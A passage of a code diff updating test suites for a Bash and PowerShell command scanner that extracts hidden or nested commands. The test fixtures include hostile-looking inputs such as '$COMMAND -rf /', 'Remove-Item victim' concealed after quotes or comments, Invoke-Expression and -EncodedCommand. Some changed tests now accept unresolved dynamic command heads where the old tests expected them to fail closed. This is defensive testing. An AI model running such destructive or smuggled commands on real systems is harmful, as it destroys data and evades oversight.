[bash!, "--noprofile", "--norc", "-c", `scan_probe() { printf 'executed\\n' >&2; }; ${source}`],
|
||||
{ env: { PATH: "/usr/bin:/bin", LC_ALL: "C" } },
|
||||
)
|
||||
expect(execution.exitCode).toBe(0)
|
||||
expect(execution.stderr.toString()).toBe(source.includes("<<EO\\\nF") ? "executed\n" : "")
|
||||
expect(execution.stdout.toString()).toBe(
|
||||
source.includes("<<<") ? "hello\ndone" : source.includes("<<EO\\\nF") ? "\ndone" : "$(scan_probe)\ndone",
|
||||
)
|
||||
})
|
||||
})
|
||||
@@ -1,7 +1,7 @@
|
||||
import { describe, expect, test } from "bun:test"
|
||||
import { ShellScan } from "../../src/shell/scan.js"
|
||||
|
||||
const opaque = ["$COMMAND hidden", "$(printf command) hidden", 'printf "unterminated'] as const
|
||||
const opaque = ['printf "unterminated'] as const
|
||||
const contexts = [
|
||||
(source: string) => source,
|
||||
(source: string) => `${source}; printf visible`,
|
||||
@@ -29,3 +29,19 @@ describe("ShellScan quote suppression", () => {
|
||||
expect(ShellScan.scan(`printf '%s' '${source.replaceAll("'", "")}'`).kind).toBe("scanned")
|
||||
})
|
||||
})
|
||||
|
||||
describe("ShellScan recursive parameter expansion coverage", () => {
|
||||
for (const seed of ["${COMMAND:-hidden}", "$(printf ${value:-command}) hidden"]) {
|
||||
for (const outer of contexts) {
|
||||
for (const inner of contexts.slice(0, 5)) {
|
||||
const source = outer(inner(seed))
|
||||
test(source, () => {
|
||||
const result = ShellScan.scan(source)
|
||||
expect(result.kind).toBe("scanned")
|
||||
if (result.kind !== "scanned") throw new Error(result.reason)
|
||||
expect(result.commands.some((command) => command.resource === seed)).toBe(true)
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
})
|
||||
|
||||
@@ -14,7 +14,7 @@ describe("ShellScan generated properties", () => {
|
||||
for (const [left, leftWords] of staticCommands) {
|
||||
for (const separator of separators) {
|
||||
for (const [right, rightWords] of staticCommands) {
|
||||
expect(ShellScan.scan(left + separator + right)).toEqual({
|
||||
expect(ShellScan.scan(left + separator + right)).toMatchObject({
|
||||
kind: "scanned",
|
||||
commands: [
|
||||
{ resource: left, words: [...leftWords] },
|
||||
@@ -35,7 +35,7 @@ describe("ShellScan generated properties", () => {
|
||||
])
|
||||
|
||||
for (const form of forms) {
|
||||
expect(ShellScan.scan(`printf %s ${form.source}`)).toEqual({
|
||||
expect(ShellScan.scan(`printf %s ${form.source}`)).toMatchObject({
|
||||
kind: "scanned",
|
||||
commands: [{ resource: `printf %s ${form.source}`, words: ["printf", "%s", form.word] }],
|
||||
})
|
||||
@@ -59,19 +59,24 @@ describe("ShellScan generated properties", () => {
|
||||
}
|
||||
})
|
||||
|
||||
test("fails closed for generated dynamic command heads", () => {
|
||||
test("retains generated dynamic command heads without resolving them", () => {
|
||||
const heads = ["$COMMAND", "${COMMAND}", "pre$COMMAND", '"$COMMAND"', "$(printf git)", "`printf git`"]
|
||||
const tails = ["status", "--version", "-rf /"]
|
||||
|
||||
for (const head of heads) {
|
||||
for (const tail of tails) expect(ShellScan.scan(`${head} ${tail}`).kind).toBe("opaque")
|
||||
for (const tail of tails) {
|
||||
const result = ShellScan.scan(`${head} ${tail}`)
|
||||
expect(result.kind).toBe("scanned")
|
||||
if (result.kind === "opaque") return
|
||||
expect(result.commands[0]?.rawWords[0]).toBe(head)
|
||||
expect(result.commands[0]?.words[0]).toBe(head.replaceAll('"', ""))
|
||||
}
|
||||
}
|
||||
})
|
||||
|
||||
test("keeps wrappers and shell evaluators at their delegated boundary", () => {
|
||||
const prefixes = ["", "FOO=bar ", "FOO=bar BAR=baz "]
|
||||
const wrapped = [
|
||||
"time git status",
|
||||
"command git status",
|
||||
"builtin printf ok",
|
||||
"exec git status",
|
||||
@@ -90,6 +95,7 @@ describe("ShellScan generated properties", () => {
|
||||
|
||||
for (const prefix of prefixes) {
|
||||
for (const command of wrapped) expect(ShellScan.scan(prefix + command).kind).toBe("scanned")
|
||||
expect(ShellScan.scan(`${prefix}time git status`).kind).toBe("scanned")
|
||||
}
|
||||
})
|
||||
})
|
||||
@@ -106,7 +112,7 @@ describe("ShellScan generated PowerShell properties", () => {
|
||||
for (const [left, leftWords] of commands) {
|
||||
for (const separator of separators) {
|
||||
for (const [right, rightWords] of commands) {
|
||||
expect(ShellScan.scanPowerShell(left + separator + right)).toEqual({
|
||||
expect(ShellScan.scanPowerShell(left + separator + right)).toMatchObject({
|
||||
kind: "scanned",
|
||||
commands: [
|
||||
{ resource: left, words: [...leftWords] },
|
||||
@@ -127,14 +133,7 @@ describe("ShellScan generated PowerShell properties", () => {
|
||||
])
|
||||
|
||||
for (const form of forms) {
|
||||
if (form.source.startsWith("left`") && ";|&".includes(form.word[4] ?? "")) {
|
||||
expect(ShellScan.scanPowerShell(`Write-Output ${form.source}`)).toEqual({
|
||||
kind: "opaque",
|
||||
reason: "invalid-structure",
|
||||
})
|
||||
continue
|
||||
}
|
||||
expect(ShellScan.scanPowerShell(`Write-Output ${form.source}`)).toEqual({
|
||||
expect(ShellScan.scanPowerShell(`Write-Output ${form.source}`)).toMatchObject({
|
||||
kind: "scanned",
|
||||
commands: [{ resource: `Write-Output ${form.source}`, words: ["Write-Output", form.word] }],
|
||||
})
|
||||
@@ -154,10 +153,11 @@ describe("ShellScan generated PowerShell properties", () => {
|
||||
for (const command of mutations) expect(ShellScan.scanPowerShell(command).kind).toBe("opaque")
|
||||
})
|
||||
|
||||
test("distinguishes dynamic heads from delegated execution", () => {
|
||||
const dynamic = ["$Command status", "${Command} status", "& $Command status"]
|
||||
test("distinguishes variable expressions from delegated execution", () => {
|
||||
const expressions = ["$Command", "${Command}"]
|
||||
const delegated = [
|
||||
"& git status",
|
||||
"& $Command status",
|
||||
". ./script.ps1",
|
||||
"Invoke-Expression 'git status'",
|
||||
"iex 'git status'",
|
||||
@@ -167,7 +167,8 @@ describe("ShellScan generated PowerShell properties", () => {
|
||||
const shells = ["powershell", "powershell.exe", "pwsh", "pwsh.exe"]
|
||||
const switches = ["-Command", "-c", "-EncodedCommand", "-e", "-File", "-f"]
|
||||
|
||||
for (const command of dynamic) expect(ShellScan.scanPowerShell(command).kind).toBe("opaque")
|
||||
for (const command of expressions)
|
||||
expect(ShellScan.scanPowerShell(command)).toEqual({ kind: "scanned", commands: [] })
|
||||
for (const command of delegated) expect(ShellScan.scanPowerShell(command).kind).toBe("scanned")
|
||||
for (const shell of shells) {
|
||||
for (const flag of switches) {
|
||||
@@ -176,14 +177,25 @@ describe("ShellScan generated PowerShell properties", () => {
|
||||
}
|
||||
})
|
||||
|
||||
test("fails closed for dynamic location changes but accepts known directory variables", () => {
|
||||
test("extracts nested commands in directory expressions without evaluating variables", () => {
|
||||
const locations = ["Set-Location", "cd", "chdir", "sl", "Push-Location"]
|
||||
const dynamic = ["$target", "$(Resolve-Path ..)", "(Resolve-Path ..)"]
|
||||
const known = ["$PWD/project", "$HOME/project", "$PSHOME/Modules", "$env:TEMP/project"]
|
||||
const expressions = ["$(Resolve-Path ..)", "(Resolve-Path ..)"]
|
||||
const variables = ["$target", "$PWD/project", "$HOME/project", "$PSHOME/Modules", "$env:TEMP/project"]
|
||||
|
||||
for (const location of locations) {
|
||||
for (const target of dynamic) expect(ShellScan.scanPowerShell(`${location} ${target}`).kind).toBe("opaque")
|
||||
for (const target of known) expect(ShellScan.scanPowerShell(`${location} ${target}`).kind).toBe("scanned")
|
||||
for (const target of expressions)
|
||||
expect(ShellScan.scanPowerShell(`${location} ${target}`)).toMatchObject({
|
||||
kind: "scanned",
|
||||
commands: [
|
||||
{ resource: `${location} ${target}`, words: [location, target] },
|
||||
{ resource: "Resolve-Path ..", words: ["Resolve-Path", ".."] },
|
||||
],
|
||||
})
|
||||
for (const target of variables)
|
||||
expect(ShellScan.scanPowerShell(`${location} ${target}`)).toMatchObject({
|
||||
kind: "scanned",
|
||||
commands: [{ resource: `${location} ${target}`, words: [location, target] }],
|
||||
})
|
||||
}
|
||||
})
|
||||
})
|
||||
|
||||
@@ -2,28 +2,17 @@ import { describe, expect, test } from "bun:test"
|
||||
import { ShellScan } from "../../src/shell/scan.js"
|
||||
|
||||
describe("ShellScan structural mutation closure", () => {
|
||||
test.each([
|
||||
"$COMMAND status",
|
||||
"${COMMAND} status",
|
||||
'"$COMMAND" status',
|
||||
"$(printf git) status",
|
||||
"`printf git` status",
|
||||
'printf "unterminated',
|
||||
"printf ok &&",
|
||||
"| printf ok",
|
||||
"printf ok >",
|
||||
])("keeps unknowable or malformed Bash input opaque: %s", (source) => {
|
||||
expect(ShellScan.scan(source).kind).toBe("opaque")
|
||||
})
|
||||
test.each(['printf "unterminated', "printf ok &&", "| printf ok", "printf ok >"])(
|
||||
"keeps malformed Bash input opaque: %s",
|
||||
(source) => {
|
||||
expect(ShellScan.scan(source).kind).toBe("opaque")
|
||||
},
|
||||
)
|
||||
|
||||
test.each([
|
||||
"$Command status",
|
||||
"${Command} status",
|
||||
"& $Command status",
|
||||
"Write-Output ok`",
|
||||
'Write-Output "unterminated',
|
||||
"Get-ChildItem |",
|
||||
])("keeps unknowable or malformed PowerShell input opaque: %s", (source) => {
|
||||
expect(ShellScan.scanPowerShell(source).kind).toBe("opaque")
|
||||
})
|
||||
test.each(["Write-Output ok`", 'Write-Output "unterminated', "Get-ChildItem |"])(
|
||||
"keeps incomplete PowerShell input opaque: %s",
|
||||
(source) => {
|
||||
expect(ShellScan.scanPowerShell(source).kind).toBe("opaque")
|
||||
},
|
||||
)
|
||||
})
|
||||
|
||||
@@ -0,0 +1,376 @@
|
||||
import { expect, test } from "bun:test"
|
||||
import { ShellScan } from "../../src/shell/scan.js"
|
||||
|
||||
const pwsh = process.env.SHELL_SCAN_PWSH ?? Bun.which("pwsh")
|
||||
|
||||
const fixtures = [
|
||||
...[
|
||||
"$result = Invoke-ProbeA; Invoke-ProbeB",
|
||||
"$result = (Invoke-ProbeA); Invoke-ProbeB",
|
||||
"[string]$result = Invoke-ProbeA; Invoke-ProbeB",
|
||||
"if (Invoke-ProbeA) { Invoke-ProbeB } else { Invoke-ProbeC }",
|
||||
"foreach ($item in (Invoke-ProbeA)) { Invoke-ProbeB }",
|
||||
"foreach ($item in Invoke-ProbeA) { Invoke-ProbeB }",
|
||||
"for ($i=0; $i -lt 2; $i++) { Invoke-ProbeB }",
|
||||
"while (Invoke-ProbeA) { Invoke-ProbeB; break }",
|
||||
"do { Invoke-ProbeB } until ($true)",
|
||||
"function Get-Probe { param($x); Invoke-ProbeB }; Invoke-ProbeA",
|
||||
"function Get-Probe($x = (Invoke-ProbeA)) { Invoke-ProbeB }",
|
||||
"try { Invoke-ProbeA } catch { Invoke-ProbeB } finally { Invoke-ProbeC }",
|
||||
"$x = @{ first = Invoke-ProbeA; second = @(Invoke-ProbeB; Invoke-ProbeC) }",
|
||||
"Invoke-ProbeA @(Invoke-ProbeB; Invoke-ProbeC)",
|
||||
'Invoke-ProbeA "$(Invoke-ProbeB "$(Invoke-ProbeC)")"',
|
||||
"Invoke-ProbeA <# <# ignored } #> #> literal; Invoke-ProbeB",
|
||||
'& "Inv`oke-ProbeA"; Invoke-ProbeB',
|
||||
'Invoke-ProbeBlock { & "Invoke-ProbeA" literal#value; Invoke-ProbeB }',
|
||||
'Invoke-ProbeBlock { . "Invoke-ProbeA" literal#value; Invoke-ProbeB }',
|
||||
"Invoke-ProbeBlock { ${probe}# ignored\nInvoke-ProbeB }",
|
||||
"Invoke-ProbeBlock { $result = Invoke-ProbeA literal#value; Invoke-ProbeB }",
|
||||
"Invoke-ProbeA $probe[$(Invoke-ProbeB)]",
|
||||
'Invoke-ProbeA "tab`tnewline`n`u{0041}"; Invoke-ProbeB',
|
||||
"Invoke-ProbeA |\n\n# comment\nForEach-Object { Invoke-ProbeB }",
|
||||
],
|
||||
...[
|
||||
"1",
|
||||
"+1",
|
||||
"-1",
|
||||
".1",
|
||||
"0x1",
|
||||
"0b1",
|
||||
"1L",
|
||||
"1kb",
|
||||
"1.0",
|
||||
"1+1",
|
||||
"1..2",
|
||||
"-not 1",
|
||||
"-bnot 1",
|
||||
"!1",
|
||||
"!!1",
|
||||
",1",
|
||||
"-join 1",
|
||||
"\u2013not 1",
|
||||
"\u2014not 1",
|
||||
"\u2015not 1",
|
||||
"\u2013join 1",
|
||||
"\u2014join 1",
|
||||
"\u2015join 1",
|
||||
"'x' -eq 1",
|
||||
'"x" -eq 1',
|
||||
"{} -eq 1",
|
||||
].flatMap((expression) => [
|
||||
`${expression}#'\nInvoke-ProbeB\n#'`,
|
||||
`Invoke-ProbeBlock { ${expression}#} '\nInvoke-ProbeB\n} #'`,
|
||||
]),
|
||||
...[
|
||||
"$null",
|
||||
"$probe",
|
||||
"$HOME",
|
||||
"${probe}",
|
||||
"$env:PATH",
|
||||
"$true",
|
||||
"$false",
|
||||
"1",
|
||||
"1.0",
|
||||
"1kb",
|
||||
"0x1",
|
||||
"-1",
|
||||
"x2>&1",
|
||||
"x6>&1",
|
||||
">$null",
|
||||
"> $null",
|
||||
"'x'>$null",
|
||||
].flatMap((prefix) => [
|
||||
`Invoke-ProbeA ${prefix}#'\nInvoke-ProbeB\n#'`,
|
||||
`Invoke-ProbeBlock { Invoke-ProbeA ${prefix}#} '\nInvoke-ProbeB\n} #'`,
|
||||
]),
|
||||
...[" ", "\t", "\v", "\f", "\u0085", "\u00a0", "\u2000", "\u2028", "\u2029", "\ufeff"].flatMap((space) => [
|
||||
`Invoke-ProbeA \`${space}#'\nInvoke-ProbeB\n#'`,
|
||||
`Invoke-ProbeBlock { Invoke-ProbeA 2>&1\`${space}#} '\nInvoke-ProbeB\n} #'`,
|
||||
]),
|
||||
...Array.from({ length: 2048 }, (_, index) => {
|
||||
const tokens = [
|
||||
"x",
|
||||
" ",
|
||||
"\t",
|
||||
"\r",
|
||||
"\n",
|
||||
";",
|
||||
"|",
|
||||
"'",
|
||||
'"',
|
||||
"''",
|
||||
'""',
|
||||
"#",
|
||||
"--%",
|
||||
"`",
|
||||
"{",
|
||||
"}",
|
||||
"2>&1",
|
||||
"Invoke-ProbeC",
|
||||
]
|
||||
let seed = index + 1
|
||||
const body = Array.from({ length: 8 }, () => {
|
||||
seed = (Math.imul(seed, 1664525) + 1013904223) >>> 0
|
||||
return tokens[(seed >>> 16) % tokens.length]
|
||||
}).join("")
|
||||
return index % 2
|
||||
? `Invoke-ProbeA ${body}\nInvoke-ProbeB\n# '`
|
||||
: `Invoke-ProbeBlock { Invoke-ProbeA ${body}\nInvoke-ProbeB\n} # '`
|
||||
}),
|
||||
...["&", "."].flatMap((operator) =>
|
||||
["'Invoke-ProbeA'", '"Invoke-ProbeA"'].flatMap((head) =>
|
||||
["argument", "'argument'", '"argument"', "#ignored", "--% '"].map(
|
||||
(tail) => `${operator} ${head}${tail}\nInvoke-ProbeB\n# '`,
|
||||
),
|
||||
),
|
||||
),
|
||||
...["'", '"', "\u2018", "\u2019", "\u201c", "\u201d"].flatMap((open) =>
|
||||
["'", '"', "\u2018", "\u2019", "\u201c", "\u201d"].flatMap((close) =>
|
||||
["", "literal", "`", "'", '"', "''", '""', "{", "}", "#", "--%", "$(Invoke-ProbeB)"].flatMap((content) => [
|
||||
`Invoke-ProbeA ${open}${content}${close}; Invoke-ProbeB; Invoke-ProbeC '${content}'`,
|
||||
`Invoke-ProbeBlock { Invoke-ProbeA ${open}${content}${close}; Invoke-ProbeB }; Invoke-ProbeC '${content}'`,
|
||||
]),
|
||||
),
|
||||
),
|
||||
...["", "literal", "'quoted'", '"quoted"', "{}"].flatMap((prefix) =>
|
||||
["#ignored", "<#ignored#>", "--% 'ignored", '--% "ignored'].flatMap((tail) =>
|
||||
[";", "|", "\r", "\n", "\r\n"].map(
|
||||
(separator) => `Invoke-ProbeA ${prefix}${tail}${separator}Invoke-ProbeB${separator}Invoke-ProbeC`,
|
||||
),
|
||||
),
|
||||
),
|
||||
...["''", "'x'", '"x"', "{}", "2>&1", "6>&1", "*>&1", "plain", "plain'quoted'"].flatMap((prefix) =>
|
||||
["#", "--%", "--% ", "<# #>#"].flatMap((suffix) =>
|
||||
["\r", "\n", "\r\n"].flatMap((newline) => [
|
||||
`Invoke-ProbeA ${prefix}${suffix}'${newline}Invoke-ProbeB${newline}# '`,
|
||||
`Invoke-ProbeA ${prefix}${suffix}\"${newline}Invoke-ProbeB${newline}# \"`,
|
||||
`Invoke-ProbeBlock { Invoke-ProbeA ${prefix}${suffix}} '${newline}Invoke-ProbeB${newline}} # '`,
|
||||
]),
|
||||
),
|
||||
),
|
||||
...[
|
||||
...Array.from({ length: 33 }, (_, index) => String.fromCharCode(index)),
|
||||
"\u0085",
|
||||
"\u00a0",
|
||||
"\u1680",
|
||||
"\u2000",
|
||||
"\u2028",
|
||||
"\u2029",
|
||||
"\u202f",
|
||||
"\u205f",
|
||||
"\u3000",
|
||||
"\ufeff",
|
||||
].flatMap((space) => [
|
||||
`Invoke-ProbeA${space}argument; Invoke-ProbeB`,
|
||||
`Invoke-ProbeA # ignored${space}Invoke-ProbeB`,
|
||||
`Invoke-ProbeA${space}Invoke-ProbeB`,
|
||||
`&${space}'Invoke-ProbeA'; Invoke-ProbeB`,
|
||||
]),
|
||||
...["Invoke-ProbeA", "& Invoke-ProbeA", "& 'Invoke-ProbeA'", '. "Invoke-ProbeA"'].flatMap((head) =>
|
||||
[
|
||||
"plain",
|
||||
"'single ; | & # { }'",
|
||||
'"double ; | & # { }"',
|
||||
"'single''quote'",
|
||||
'"double""quote"',
|
||||
"'`'",
|
||||
'"a`"}b"',
|
||||
'"it\'s } literal"',
|
||||
"left`#right",
|
||||
"left`;right",
|
||||
"left`|right",
|
||||
"left`&right",
|
||||
'"$(Invoke-ProbeB)"',
|
||||
'"$probe"',
|
||||
'"${probe}"',
|
||||
"\u2018smart single\u2019",
|
||||
"\u201csmart double\u201d",
|
||||
].flatMap((argument) =>
|
||||
["; ", "\n", "\r", "\r\n", " | ", " && ", " || "].map(
|
||||
(separator) => `${head} ${argument}${separator}Invoke-ProbeC`,
|
||||
),
|
||||
),
|
||||
),
|
||||
...["\n", "\r", "\r\n"].flatMap((newline) => [
|
||||
`Invoke-ProbeA # '\" } ; ignored${newline}Invoke-ProbeB`,
|
||||
`Invoke-ProbeBlock { # } ignored${newline}Invoke-ProbeB }`,
|
||||
`Invoke-ProbeBlock { Invoke-ProbeA # } ignored${newline}Invoke-ProbeB }`,
|
||||
`Invoke-ProbeA --% \"ignored${newline}Invoke-ProbeB${newline}\"`,
|
||||
`Invoke-ProbeBlock { Invoke-ProbeA --% \"ignored${newline}Invoke-ProbeB${newline}\" }`,
|
||||
`Invoke-ProbeA \`${newline}argument; Invoke-ProbeB`,
|
||||
`Invoke-ProbeA @'${newline}literal ; }${newline}'@; Invoke-ProbeB`,
|
||||
`Invoke-ProbeA @\"${newline}$(Invoke-ProbeB)${newline}\"@; Invoke-ProbeC`,
|
||||
]),
|
||||
...["&", ".", "Invoke-ProbeBlock", "Invoke-ProbeA | ForEach-Object"].flatMap((head) =>
|
||||
[
|
||||
"Invoke-ProbeB; Invoke-ProbeC",
|
||||
"Invoke-ProbeB '`'; Invoke-ProbeC",
|
||||
'Invoke-ProbeB "it\'s } literal"; Invoke-ProbeC',
|
||||
'Invoke-ProbeB "a`\"}b"; Invoke-ProbeC',
|
||||
'Invoke-ProbeB "a\"\"}b"; Invoke-ProbeC',
|
||||
"Invoke-ProbeBlock { Invoke-ProbeB }; Invoke-ProbeC",
|
||||
"<# <# } #> #> Invoke-ProbeB",
|
||||
'Invoke-ProbeB "$(Invoke-ProbeC)"',
|
||||
'Invoke-ProbeB "$(Invoke-ProbeA \"}\"); Invoke-ProbeC"',
|
||||
].map((body) => `${head} { ${body} }; Invoke-ProbeA`),
|
||||
),
|
||||
...["> $null", ">> $null", "2>&1", "3>&1", "4>&1", "5>&1", "6>&1", "*>&1", "*> $null"].flatMap((redirect) => [
|
||||
`Invoke-ProbeA ${redirect}; Invoke-ProbeB`,
|
||||
`Invoke-ProbeBlock { Invoke-ProbeA ${redirect}; Invoke-ProbeB }`,
|
||||
]),
|
||||
"Invoke-ProbeA --% 'ignored|Invoke-ProbeB|Invoke-ProbeC '",
|
||||
"Invoke-ProbeA --% ; Invoke-ProbeB",
|
||||
"Invoke-ProbeA --% $(Invoke-ProbeB)",
|
||||
"Invoke-ProbeA \u2018a'; Invoke-ProbeB; Invoke-ProbeC 'b\u2019",
|
||||
'Invoke-ProbeA \u201ca"; Invoke-ProbeB; Invoke-ProbeC "b\u201d',
|
||||
'Invoke-ProbeA "$(Invoke-ProbeB \"quoted\")"; Invoke-ProbeC',
|
||||
"& $probe; Invoke-ProbeC",
|
||||
"& ('Invoke-' + 'ProbeB'); Invoke-ProbeC",
|
||||
"& { Invoke-ProbeB }; Invoke-ProbeC",
|
||||
"$(Invoke-ProbeB); Invoke-ProbeC",
|
||||
"@(Invoke-ProbeB); Invoke-ProbeC",
|
||||
"Invoke-ProbeA <# ignored #>; Invoke-ProbeB",
|
||||
"Invoke-ProbeA#literal; Invoke-ProbeB",
|
||||
"Invoke-ProbeA ''#literal; Invoke-ProbeB",
|
||||
'Invoke-ProbeA ""#literal; Invoke-ProbeB',
|
||||
"Invoke-ProbeA { Invoke-ProbeB }#literal; Invoke-ProbeC",
|
||||
"Inv'oke'-ProbeA; Invoke-ProbeB",
|
||||
'Inv"oke"-ProbeA; Invoke-ProbeB',
|
||||
"Invoke-ProbeA,Invoke-ProbeB; Invoke-ProbeC",
|
||||
'Invoke-ProbeA --%"literal|Invoke-ProbeB|Invoke-ProbeC"',
|
||||
'Invoke-ProbeA x--% "literal|Invoke-ProbeB|Invoke-ProbeC"',
|
||||
"Invoke-ProbeA '--%' \"literal|Invoke-ProbeB|Invoke-ProbeC\"",
|
||||
'Invoke-ProbeA "--%" "literal|Invoke-ProbeB|Invoke-ProbeC"',
|
||||
'Invoke-ProbeA --`% "literal|Invoke-ProbeB|Invoke-ProbeC"',
|
||||
'Invoke-ProbeA `-`-`% "literal|Invoke-ProbeB|Invoke-ProbeC"',
|
||||
"Invoke-ProbeA ''--% \"literal|Invoke-ProbeB|Invoke-ProbeC\"",
|
||||
"Invoke-ProbeA 2>&1; &{Invoke-ProbeB}; Invoke-ProbeC",
|
||||
"Invoke-ProbeA 2>&1|Invoke-ProbeB",
|
||||
"Invoke-ProbeA 'x'#'\nInvoke-ProbeB\nInvoke-ProbeC ''#'",
|
||||
'Invoke-ProbeA "x"#"\nInvoke-ProbeB\nInvoke-ProbeC ""#"',
|
||||
"Invoke-ProbeA {}#'\nInvoke-ProbeB\nInvoke-ProbeC ''#'",
|
||||
"Invoke-ProbeBlock { Invoke-ProbeA 'x'#'\nInvoke-ProbeB\nInvoke-ProbeC ''#' }",
|
||||
"Invoke-ProbeA 'x'# ' \nInvoke-ProbeB\n# '",
|
||||
"Invoke-ProbeA { Invoke-ProbeB }# ' \nInvoke-ProbeC\n# '",
|
||||
"Invoke-ProbeA { Invoke-ProbeB 2>&1# } ' \nInvoke-ProbeC\n} # '",
|
||||
"Invoke-ProbeBlock { Invoke-ProbeB 2>&1# } ' \nInvoke-ProbeC\n} # '",
|
||||
"& { Invoke-ProbeB 2>&1# } ' \nInvoke-ProbeC\n} # '",
|
||||
"Invoke-ProbeA & Invoke-ProbeB",
|
||||
"Invoke-ProbeA 'safe`'; Invoke-ProbeB; '`'",
|
||||
]
|
||||
|
||||
// Runtime execution is restricted to probes and $null/stream redirections; other cases are parser-only.
|
||||
const oracle = String.raw`
|
||||
$ErrorActionPreference = 'Stop'
|
||||
$probe = 'Invoke-ProbeB'
|
||||
$script:seen = [System.Collections.Generic.List[string]]::new()
|
||||
function Invoke-ProbeA { [void]$script:seen.Add('Invoke-ProbeA'); 1 }
|
||||
function Invoke-ProbeB { [void]$script:seen.Add('Invoke-ProbeB'); 1 }
|
||||
function Invoke-ProbeC { [void]$script:seen.Add('Invoke-ProbeC'); 1 }
|
||||
function Invoke-ProbeBlock {
|
||||
[void]$script:seen.Add('Invoke-ProbeBlock')
|
||||
foreach ($argument in $args) {
|
||||
if ($argument -is [scriptblock]) { & $argument }
|
||||
}
|
||||
}
|
||||
$results = foreach ($source in (ConvertFrom-Json -InputObject ([Console]::In.ReadToEnd()))) {
|
||||
$tokens = $null
|
||||
$errors = $null
|
||||
$ast = [System.Management.Automation.Language.Parser]::ParseInput($source, [ref]$tokens, [ref]$errors)
|
||||
$nodes = @($ast.FindAll({ param($node) $node -is [System.Management.Automation.Language.CommandAst] }, $true))
|
||||
$commands = @($nodes | ForEach-Object {
|
||||
@{
|
||||
name = $_.GetCommandName()
|
||||
text = $_.Extent.Text
|
||||
start = $_.Extent.StartOffset
|
||||
end = $_.Extent.EndOffset
|
||||
}
|
||||
})
|
||||
$script:seen.Clear()
|
||||
$runtimeError = $null
|
||||
$unsafe = @($nodes | Where-Object {
|
||||
$name = $_.GetCommandName()
|
||||
($name -and $name -notin @('Invoke-ProbeA', 'Invoke-ProbeB', 'Invoke-ProbeC', 'Invoke-ProbeBlock', 'ForEach-Object')) -or
|
||||
(!$name -and $_.CommandElements[0] -isnot [System.Management.Automation.Language.ScriptBlockExpressionAst])
|
||||
})
|
||||
$files = @($ast.FindAll({ param($node)
|
||||
$node -is [System.Management.Automation.Language.FileRedirectionAst] -and $node.Location.Extent.Text -ne '$null'
|
||||
}, $true))
|
||||
$background = @($ast.FindAll({ param($node)
|
||||
$node -is [System.Management.Automation.Language.PipelineAst] -and $node.Background
|
||||
}, $true))
|
||||
if ($errors.Count -eq 0 -and $unsafe.Count -eq 0 -and $files.Count -eq 0 -and $background.Count -eq 0) {
|
||||
try { & ([scriptblock]::Create($source)) | Out-Null }
|
||||
catch { $runtimeError = $_.Exception.Message }
|
||||
}
|
||||
@{
|
||||
source = $source
|
||||
commands = $commands
|
||||
errors = @($errors | ForEach-Object { $_.ErrorId })
|
||||
executed = @($script:seen.ToArray())
|
||||
runtimeError = $runtimeError
|
||||
}
|
||||
}
|
||||
ConvertTo-Json -InputObject @($results) -Depth 10 -Compress
|
||||
`
|
||||
|
||||
// Run with SHELL_SCAN_PWSH=/path/to/pwsh bun run test test/shell-scan/powershell-runtime.test.ts.
|
||||
test.skipIf(!pwsh)(
|
||||
"successful PowerShell scans cover real parser boundaries and executed probe calls",
|
||||
async () => {
|
||||
const process = Bun.spawn([pwsh!, "-NoLogo", "-NoProfile", "-NonInteractive", "-Command", oracle], {
|
||||
stdin: new Blob([JSON.stringify(fixtures)]),
|
||||
stdout: "pipe",
|
||||
stderr: "pipe",
|
||||
timeout: 45_000,
|
||||
})
|
||||
const [output, error, code] = await Promise.all([
|
||||
new Response(process.stdout).text(),
|
||||
new Response(process.stderr).text(),
|
||||
process.exited,
|
||||
])
|
||||
expect({ code, error }).toEqual({ code: 0, error: "" })
|
||||
const results: Array<{
|
||||
source: string
|
||||
commands: Array<{ name: string | null; text: string; start: number; end: number }>
|
||||
errors: string[]
|
||||
executed: string[]
|
||||
runtimeError: string | null
|
||||
}> = JSON.parse(output)
|
||||
expect(results).toHaveLength(fixtures.length)
|
||||
const failures: string[] = []
|
||||
let scanned = 0
|
||||
let executed = 0
|
||||
for (const result of results) {
|
||||
const scan = ShellScan.scanPowerShell(result.source)
|
||||
if (scan.kind === "opaque" || result.errors.length > 0) continue
|
||||
scanned++
|
||||
executed += result.executed.length
|
||||
const missing = result.commands.filter(
|
||||
(command) =>
|
||||
command.name !== null &&
|
||||
!scan.commands.some(
|
||||
(candidate) =>
|
||||
candidate.words[0]?.toLowerCase() === command.name?.toLowerCase() &&
|
||||
candidate.resource === command.text.trim(),
|
||||
),
|
||||
)
|
||||
const unobserved = result.executed.filter(
|
||||
(name) => !scan.commands.some((command) => command.words[0]?.toLowerCase() === name.toLowerCase()),
|
||||
)
|
||||
if (missing.length || unobserved.length)
|
||||
failures.push(
|
||||
JSON.stringify({
|
||||
source: result.source,
|
||||
missing: missing.map((command) => command.text),
|
||||
unobserved,
|
||||
scanned: scan.commands.map((command) => command.words[0]),
|
||||
}),
|
||||
)
|
||||
}
|
||||
expect(scanned).toBeGreaterThan(100)
|
||||
expect(executed).toBeGreaterThan(100)
|
||||
expect(failures).toEqual([])
|
||||
},
|
||||
60_000,
|
||||
)
|
||||
@@ -0,0 +1,308 @@
|
||||
import { describe, expect, test } from "bun:test"
|
||||
import { ShellScan } from "../../src/shell/scan.js"
|
||||
|
||||
describe("PowerShell scanner safety", () => {
|
||||
test("backticks in single quotes cannot hide subsequent executions", () => {
|
||||
const result = ShellScan.scanPowerShell("Write-Output '`'; Remove-Item victim; Write-Output '`'")
|
||||
expect(result.kind).toBe("scanned")
|
||||
if (result.kind === "opaque") return
|
||||
expect(result.commands.map((command) => command.words)).toEqual([
|
||||
["Write-Output", "`"],
|
||||
["Remove-Item", "victim"],
|
||||
["Write-Output", "`"],
|
||||
])
|
||||
})
|
||||
|
||||
test.each([" ", "\t", "\v", "\f", "\u00a0", "\u2000", "\u2028", "\u2029", "\n", "\r", "\r\n"])(
|
||||
"recognizes comments after escaped whitespace at a token boundary %j",
|
||||
(space) => {
|
||||
expect(ShellScan.scanPowerShell(`Write-Output \`${space}#'\nRemove-Item victim\n#'`)).toMatchObject({
|
||||
kind: "scanned",
|
||||
commands: [{ words: ["Write-Output"] }, { words: ["Remove-Item", "victim"] }],
|
||||
})
|
||||
for (const redirect of ["2>&1", "6>&1", "*>&1"]) {
|
||||
expect(
|
||||
ShellScan.scanPowerShell(`% { Write-Output ${redirect}\`${space}#} '\nRemove-Item victim\n} #'`),
|
||||
).toMatchObject({
|
||||
kind: "scanned",
|
||||
commands: [
|
||||
{ words: ["%", expect.any(String)] },
|
||||
